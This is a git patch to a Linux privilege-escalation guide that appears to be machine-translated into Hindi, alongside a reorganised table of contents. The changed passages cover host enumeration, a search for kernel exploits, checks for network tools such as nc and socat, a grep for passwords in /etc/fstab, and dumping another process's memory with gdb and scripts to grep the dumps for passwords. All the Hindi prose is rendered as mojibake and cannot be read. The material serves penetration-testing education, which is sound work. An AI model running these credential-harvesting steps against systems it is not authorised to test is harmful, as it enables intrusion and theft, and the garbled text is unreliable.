From 8de8ad851a01b22ae4214e21db1bfe374c2ed295 Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 7 Jun 2025 16:45:45 +0000 Subject: [PATCH] Translated ['src/linux-hardening/privilege-escalation/README.md'] to hi --- src/SUMMARY.md | 34 +- .../privilege-escalation/README.md | 148 +-- .../0.-basic-llm-concepts.md | 285 ----- .../1.-tokenizing.md | 95 -- .../2.-data-sampling.md | 240 ----- .../3.-token-embeddings.md | 203 ---- .../4.-attention-mechanisms.md | 415 -------- .../5.-llm-architecture.md | 666 ------------ .../6.-pre-training-and-loading-models.md | 970 ------------------ .../7.0.-lora-improvements-in-fine-tuning.md | 61 -- .../7.1.-fine-tuning-for-classification.md | 117 --- ...7.2.-fine-tuning-to-follow-instructions.md | 100 -- .../llm-training-data-preparation/README.md | 98 -- 13 files changed, 97 insertions(+), 3335 deletions(-) delete mode 100644 src/todo/llm-training-data-preparation/0.-basic-llm-concepts.md delete mode 100644 src/todo/llm-training-data-preparation/1.-tokenizing.md delete mode 100644 src/todo/llm-training-data-preparation/2.-data-sampling.md delete mode 100644 src/todo/llm-training-data-preparation/3.-token-embeddings.md delete mode 100644 src/todo/llm-training-data-preparation/4.-attention-mechanisms.md delete mode 100644 src/todo/llm-training-data-preparation/5.-llm-architecture.md delete mode 100644 src/todo/llm-training-data-preparation/6.-pre-training-and-loading-models.md delete mode 100644 src/todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md delete mode 100644 src/todo/llm-training-data-preparation/7.1.-fine-tuning-for-classification.md delete mode 100644 src/todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md delete mode 100644 src/todo/llm-training-data-preparation/README.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 4e7b0adb5..0bfdeb3af 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -793,6 +793,29 @@ - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) - [iOS Exploiting](binary-exploitation/ios-exploiting.md) +# ЁЯдЦ AI +- [AI Security](AI/README.md) + - [AI Security Methodology](AI/AI-Deep-Learning.md) + - [AI MCP Security](AI/AI-MCP-Servers.md) + - [AI Model Data Preparation](AI/AI-Model-Data-Preparation-and-Evaluation.md) + - [AI Models RCE](AI/AI-Models-RCE.md) + - [AI Prompts](AI/AI-Prompts.md) + - [AI Risk Frameworks](AI/AI-Risk-Frameworks.md) + - [AI Supervised Learning Algorithms](AI/AI-Supervised-Learning-Algorithms.md) + - [AI Unsupervised Learning Algorithms](AI/AI-Unsupervised-Learning-algorithms.md) + - [AI Reinforcement Learning Algorithms](AI/AI-Reinforcement-Learning-Algorithms.md) + - [LLM Training](AI/AI-llm-architecture/README.md) + - [0. Basic LLM Concepts](AI/AI-llm-architecture/0.-basic-llm-concepts.md) + - [1. Tokenizing](AI/AI-llm-architecture/1.-tokenizing.md) + - [2. Data Sampling](AI/AI-llm-architecture/2.-data-sampling.md) + - [3. Token Embeddings](AI/AI-llm-architecture/3.-token-embeddings.md) + - [4. Attention Mechanisms](AI/AI-llm-architecture/4.-attention-mechanisms.md) + - [5. LLM Architecture](AI/AI-llm-architecture/5.-llm-architecture.md) + - [6. Pre-training & Loading models](AI/AI-llm-architecture/6.-pre-training-and-loading-models.md) + - [7.0. LoRA Improvements in fine-tuning](AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md) + - [7.1. Fine-Tuning for Classification](AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md) + - [7.2. Fine-Tuning to follow instructions](AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md) + # ЁЯФй Reversing - [Reversing Tools & Basic Methods](reversing/reversing-tools-basic-methods/README.md) @@ -850,17 +873,6 @@ - [Low-Power Wide Area Network](todo/radio-hacking/low-power-wide-area-network.md) - [Pentesting BLE - Bluetooth Low Energy](todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md) - [Test LLMs](todo/test-llms.md) -- [LLM Training](todo/llm-training-data-preparation/README.md) - - [0. Basic LLM Concepts](todo/llm-training-data-preparation/0.-basic-llm-concepts.md) - - [1. Tokenizing](todo/llm-training-data-preparation/1.-tokenizing.md) - - [2. Data Sampling](todo/llm-training-data-preparation/2.-data-sampling.md) - - [3. Token Embeddings](todo/llm-training-data-preparation/3.-token-embeddings.md) - - [4. Attention Mechanisms](todo/llm-training-data-preparation/4.-attention-mechanisms.md) - - [5. LLM Architecture](todo/llm-training-data-preparation/5.-llm-architecture.md) - - [6. Pre-training & Loading models](todo/llm-training-data-preparation/6.-pre-training-and-loading-models.md) - - [7.0. LoRA Improvements in fine-tuning](todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md) - - [7.1. Fine-Tuning for Classification](todo/llm-training-data-preparation/7.1.-fine-tuning-for-classification.md) - - [7.2. Fine-Tuning to follow instructions](todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md) - [Burp Suite](todo/burp-suite.md) - [Other Web Tricks](todo/other-web-tricks.md) - [Interesting HTTP$$external:todo/interesting-http.md$$]() diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index b39695967..7f6803420 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -6,7 +6,7 @@ ### OS info -рдЖрдЗрдП рдЪрд▓реЛ рдЪрд▓ рд░рд╣реЗ OS рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреБрдЫ рдЬреНрдЮрд╛рди рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВ +рдЖрдЗрдП рдЪрд▓рд┐рдП рдЪрд▓ рд░рд╣реЗ OS рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреБрдЫ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВ ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -39,7 +39,7 @@ searchsploit "Linux Kernel" ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -рдХрд░реНрдиреЗрд▓ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреНрд╕ рдХреА рдЦреЛрдЬ рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдЙрдкрдХрд░рдг рд╣реИрдВ: +рдХрд░реНрдиреЗрд▓ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреНрд╕ рдХреА рдЦреЛрдЬ рдореЗрдВ рдорджрдж рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдХрд░рдг рд╣реИрдВ: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ @@ -144,7 +144,7 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, **рдХреЛрдИ рднреА рдХрдВрдкрд╛рдЗрд▓рд░ рд╕реНрдерд╛рдкрд┐рдд рд╣реИ рдпрд╛ рдирд╣реАрдВ** рдпрд╣ рдЬрд╛рдВрдЪреЗрдВред рдпрд╣ рдЙрдкрдпреЛрдЧреА рд╣реИ рдпрджрд┐ рдЖрдкрдХреЛ рдХреБрдЫ рдХрд░реНрдиреЗрд▓ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕реЗ рдЙрд╕ рдорд╢реАрди рдкрд░ рд╕рдВрдХрд▓рд┐рдд рдХрд░рдирд╛ рдЕрдиреБрд╢рдВрд╕рд┐рдд рд╣реИ рдЬрд╣рд╛рдБ рдЖрдк рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ (рдпрд╛ рдПрдХ рд╕рдорд╛рди рдорд╢реАрди рдкрд░)ред +рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, **рдХреЛрдИ рднреА рдХрдВрдкрд╛рдЗрд▓рд░ рд╕реНрдерд╛рдкрд┐рдд рд╣реИ рдпрд╛ рдирд╣реАрдВ** рдпрд╣ рдЬрд╛рдВрдЪреЗрдВред рдпрд╣ рдЙрдкрдпреЛрдЧреА рд╣реИ рдпрджрд┐ рдЖрдкрдХреЛ рдХрд┐рд╕реА рдХрд░реНрдиреЗрд▓ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕реЗ рдЙрд╕ рдорд╢реАрди рдкрд░ рд╕рдВрдХрд▓рд┐рдд рдХрд░рдирд╛ рдЕрдиреБрд╢рдВрд╕рд┐рдд рд╣реИ рдЬрд╣рд╛рдБ рдЖрдк рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ (рдпрд╛ рдПрдХ рд╕рдорд╛рди рдорд╢реАрди рдкрд░)ред ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` @@ -162,24 +162,24 @@ rpm -qa #Centos ## Processes -рджреЗрдЦреЗрдВ рдХрд┐ **рдХреМрди рд╕реЗ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ** рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХреА рдЬрд╛ рд░рд╣реА рд╣реИрдВ рдФрд░ рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдХреЛрдИ рдкреНрд░рдХреНрд░рд┐рдпрд╛ **рдЙрд╕рд╕реЗ рдЕрдзрд┐рдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд░рдЦрддреА рд╣реИ рдЬрд┐рддрдиреА рдЙрд╕реЗ рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП** (рд╢рд╛рдпрдж рдПрдХ tomcat рдЬрд┐рд╕реЗ root рджреНрд╡рд╛рд░рд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ?) +рджреЗрдЦреЗрдВ рдХрд┐ **рдХреМрди рд╕реЗ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ** рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХреА рдЬрд╛ рд░рд╣реА рд╣реИрдВ рдФрд░ рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдХреЛрдИ рдкреНрд░рдХреНрд░рд┐рдпрд╛ **рдЬрд┐рддрдиреА рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП рдЙрд╕рд╕реЗ рдЕрдзрд┐рдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░** рд░рдЦрддреА рд╣реИ (рд╢рд╛рдпрдж рдПрдХ tomcat рдЬрд┐рд╕реЗ root рджреНрд╡рд╛рд░рд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ?) ```bash ps aux ps -ef top -n 1 ``` -рд╣рдореЗрд╢рд╛ рд╕рдВрднрд╛рд╡рд┐рдд [**electron/cef/chromium debuggers**] рдХреЗ рд▓рд┐рдП рдЬрд╛рдВрдЪреЗрдВ рдЬреЛ рдЪрд▓ рд░рд╣реЗ рд╣реИрдВ, рдЖрдк рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛ рд╕рдХрддреЗ рд╣реИрдВ](electron-cef-chromium-debugger-abuse.md)ред **Linpeas** рдЗрдирдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреА рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рдореЗрдВ `--inspect` рдкреИрд░рд╛рдореАрдЯрд░ рдХреА рдЬрд╛рдВрдЪ рдХрд░рддрд╛ рд╣реИред\ +рд╣рдореЗрд╢рд╛ рд╕рдВрднрд╛рд╡рд┐рдд [**electron/cef/chromium debuggers** рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ, рдЖрдк рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛ рд╕рдХрддреЗ рд╣реИрдВ](electron-cef-chromium-debugger-abuse.md)ред **Linpeas** рдЗрдирдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреА рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рдореЗрдВ `--inspect` рдкреИрд░рд╛рдореАрдЯрд░ рдХреА рдЬрд╛рдВрдЪ рдХрд░рддреЗ рд╣реИрдВред\ рд╕рд╛рде рд╣реА **рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рдмрд╛рдЗрдирд░реА рдкрд░ рдЕрдкрдиреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ**, рд╢рд╛рдпрдж рдЖрдк рдХрд┐рд╕реА рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ### рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдирд┐рдЧрд░рд╛рдиреА -рдЖрдк рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХреЗ рд▓рд┐рдП [**pspy**](https://github.com/DominicBreuker/pspy) рдЬреИрд╕реЗ рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рдЕрдХреНрд╕рд░ рдЪрд▓ рд░рд╣реА рдХрдордЬреЛрд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдпрд╛ рдЬрдм рдЖрд╡рд╢реНрдпрдХрддрд╛рдУрдВ рдХрд╛ рдПрдХ рд╕реЗрдЯ рдкреВрд░рд╛ рд╣реЛрддрд╛ рд╣реИред +рдЖрдк рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХреЗ рд▓рд┐рдП [**pspy**](https://github.com/DominicBreuker/pspy) рдЬреИрд╕реЗ рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рдЕрдХреНрд╕рд░ рдЪрд▓ рд░рд╣реА рдХрдордЬреЛрд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдпрд╛ рдЬрдм рдПрдХ рд╕реЗрдЯ рдЖрд╡рд╢реНрдпрдХрддрд╛рдПрдБ рдкреВрд░реА рд╣реЛрддреА рд╣реИрдВред ### рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдореЛрд░реА рдПрдХ рд╕рд░реНрд╡рд░ рдХреА рдХреБрдЫ рд╕реЗрд╡рд╛рдПрдБ **рдореЗрдореЛрд░реА рдХреЗ рдЕрдВрджрд░ рд╕реНрдкрд╖реНрдЯ рдкрд╛рда рдореЗрдВ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕** рд╕рд╣реЗрдЬрддреА рд╣реИрдВред\ рд╕рд╛рдорд╛рдиреНрдпрддрдГ, рдЖрдкрдХреЛ рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рдореЗрдореЛрд░реА рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП **рд░реВрдЯ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░** рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА, рдЗрд╕рд▓рд┐рдП рдпрд╣ рдЖрдорддреМрд░ рдкрд░ рддрдм рдЕрдзрд┐рдХ рдЙрдкрдпреЛрдЧреА рд╣реЛрддрд╛ рд╣реИ рдЬрдм рдЖрдк рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рд░реВрдЯ рд╣реИрдВ рдФрд░ рдЕрдзрд┐рдХ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдЦреЛрдЬрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣реЗ рд╣реИрдВред\ -рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ **рдПрдХ рдирд┐рдпрдорд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдЖрдк рдЙрди рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рдореЗрдореЛрд░реА рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рдирдХреЗ рдЖрдк рдорд╛рд▓рд┐рдХ рд╣реИрдВ**ред +рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ **рдПрдХ рдирд┐рдпрдорд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдЖрдк рдЕрдкрдиреА рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рдореЗрдореЛрд░реА рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ**ред > [!WARNING] > рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдЬрдХрд▓ рдЕрдзрд┐рдХрд╛рдВрд╢ рдорд╢реАрдиреЗрдВ **рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ ptrace рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗрддреАрдВ** рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдЖрдк рдЕрдкрдиреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░рд╣реАрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдЕрдиреНрдп рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдбрдВрдк рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗред @@ -188,12 +188,12 @@ top -n 1 > > - **kernel.yama.ptrace_scope = 0**: рд╕рднреА рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдбрд┐рдмрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрдм рддрдХ рдХрд┐ рдЙрдирдХреЗ рдкрд╛рд╕ рд╕рдорд╛рди uid рд╣реЛред рдпрд╣ ptracing рдХреЗ рдХрд╛рдо рдХрд░рдиреЗ рдХрд╛ рдкрд╛рд░рдВрдкрд░рд┐рдХ рддрд░реАрдХрд╛ рд╣реИред > - **kernel.yama.ptrace_scope = 1**: рдХреЗрд╡рд▓ рдПрдХ рдорд╛рддрд╛-рдкрд┐рддрд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдбрд┐рдмрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред -> - **kernel.yama.ptrace_scope = 2**: рдХреЗрд╡рд▓ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ ptrace рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕рдХреЗ рд▓рд┐рдП CAP_SYS_PTRACE рдХреНрд╖рдорддрд╛ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред +> - **kernel.yama.ptrace_scope = 2**: рдХреЗрд╡рд▓ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ ptrace рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕реЗ CAP_SYS_PTRACE рдХреНрд╖рдорддрд╛ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред > - **kernel.yama.ptrace_scope = 3**: рдХреЛрдИ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ ptrace рдХреЗ рд╕рд╛рде рдЯреНрд░реЗрд╕ рдирд╣реАрдВ рдХреА рдЬрд╛ рд╕рдХрддреАрдВред рдПрдХ рдмрд╛рд░ рд╕реЗрдЯ рд╣реЛрдиреЗ рдкрд░, ptracing рдХреЛ рдлрд┐рд░ рд╕реЗ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд░рд┐рдмреВрдЯ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред #### GDB -рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдПрдХ FTP рд╕реЗрд╡рд╛ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП) рдХреА рдореЗрдореЛрд░реА рддрдХ рдкрд╣реБрдВрдЪ рд╣реИ, рддреЛ рдЖрдк Heap рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЗрд╕рдХреЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЗ рдЕрдВрджрд░ рдЦреЛрдЬ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдПрдХ FTP рд╕реЗрд╡рд╛ рдХреА рдореЗрдореЛрд░реА рддрдХ рдкрд╣реБрдВрдЪ рд╣реИ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП) рддреЛ рдЖрдк Heap рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЗрд╕рдХреЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЗ рдЕрдВрджрд░ рдЦреЛрдЬ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ```bash gdb -p (gdb) info proc mappings @@ -269,7 +269,7 @@ Press Ctrl-C to end monitoring without terminating the process. рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреА рдореЗрдореЛрд░реА рдХреЛ рдбрдВрдк рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_рдЖрдк рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рд░реВрдЯ рдЖрд╡рд╢реНрдпрдХрддрд╛рдУрдВ рдХреЛ рд╣рдЯрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЖрдкрдХреЗ рджреНрд╡рд╛рд░рд╛ рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рд╡рд╛рд▓реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдбрдВрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_рдЖрдк рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рд░реВрдЯ рдЖрд╡рд╢реНрдпрдХрддрд╛рдУрдВ рдХреЛ рд╣рдЯрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЕрдкрдиреЗ рджреНрд╡рд╛рд░рд╛ рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рд╡рд╛рд▓реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдбрдВрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ - Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (рд░реВрдЯ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ) ### Credentials from Process Memory @@ -281,7 +281,7 @@ Press Ctrl-C to end monitoring without terminating the process. ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -рдЖрдк рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдбрдВрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рд╡рд┐рднрд┐рдиреНрди рддрд░реАрдХреЛрдВ рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдкрд┐рдЫрд▓реЗ рдЕрдиреБрднрд╛рдЧреЛрдВ рдХреЛ рджреЗрдЦреЗрдВ рдЬреЛ рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреА рдореЗрдореЛрд░реА рдХреЛ рдбрдВрдк рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИрдВ) рдФрд░ рдореЗрдореЛрд░реА рдХреЗ рдЕрдВрджрд░ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЗ рд▓рд┐рдП рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВ: +рдЖрдк рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдбрдВрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреА рдореЗрдореЛрд░реА рдХреЛ рдбрдВрдк рдХрд░рдиреЗ рдХреЗ рд╡рд┐рднрд┐рдиреНрди рддрд░реАрдХреЛрдВ рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдкрд┐рдЫрд▓реЗ рдЕрдиреБрднрд╛рдЧреЛрдВ рдХреЛ рджреЗрдЦреЗрдВ) рдФрд░ рдореЗрдореЛрд░реА рдХреЗ рдЕрдВрджрд░ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЗ рд▓рд┐рдП рдЦреЛрдЬ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password @@ -315,7 +315,7 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... ``` ## Scheduled/Cron jobs -рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдХреЛрдИ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд╛рд░реНрдп рдХрдордЬреЛрд░ рд╣реИред рд╢рд╛рдпрдж рдЖрдк рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рд▓рд╛рдн рдЙрдард╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рд░реВрдЯ рджреНрд╡рд╛рд░рд╛ 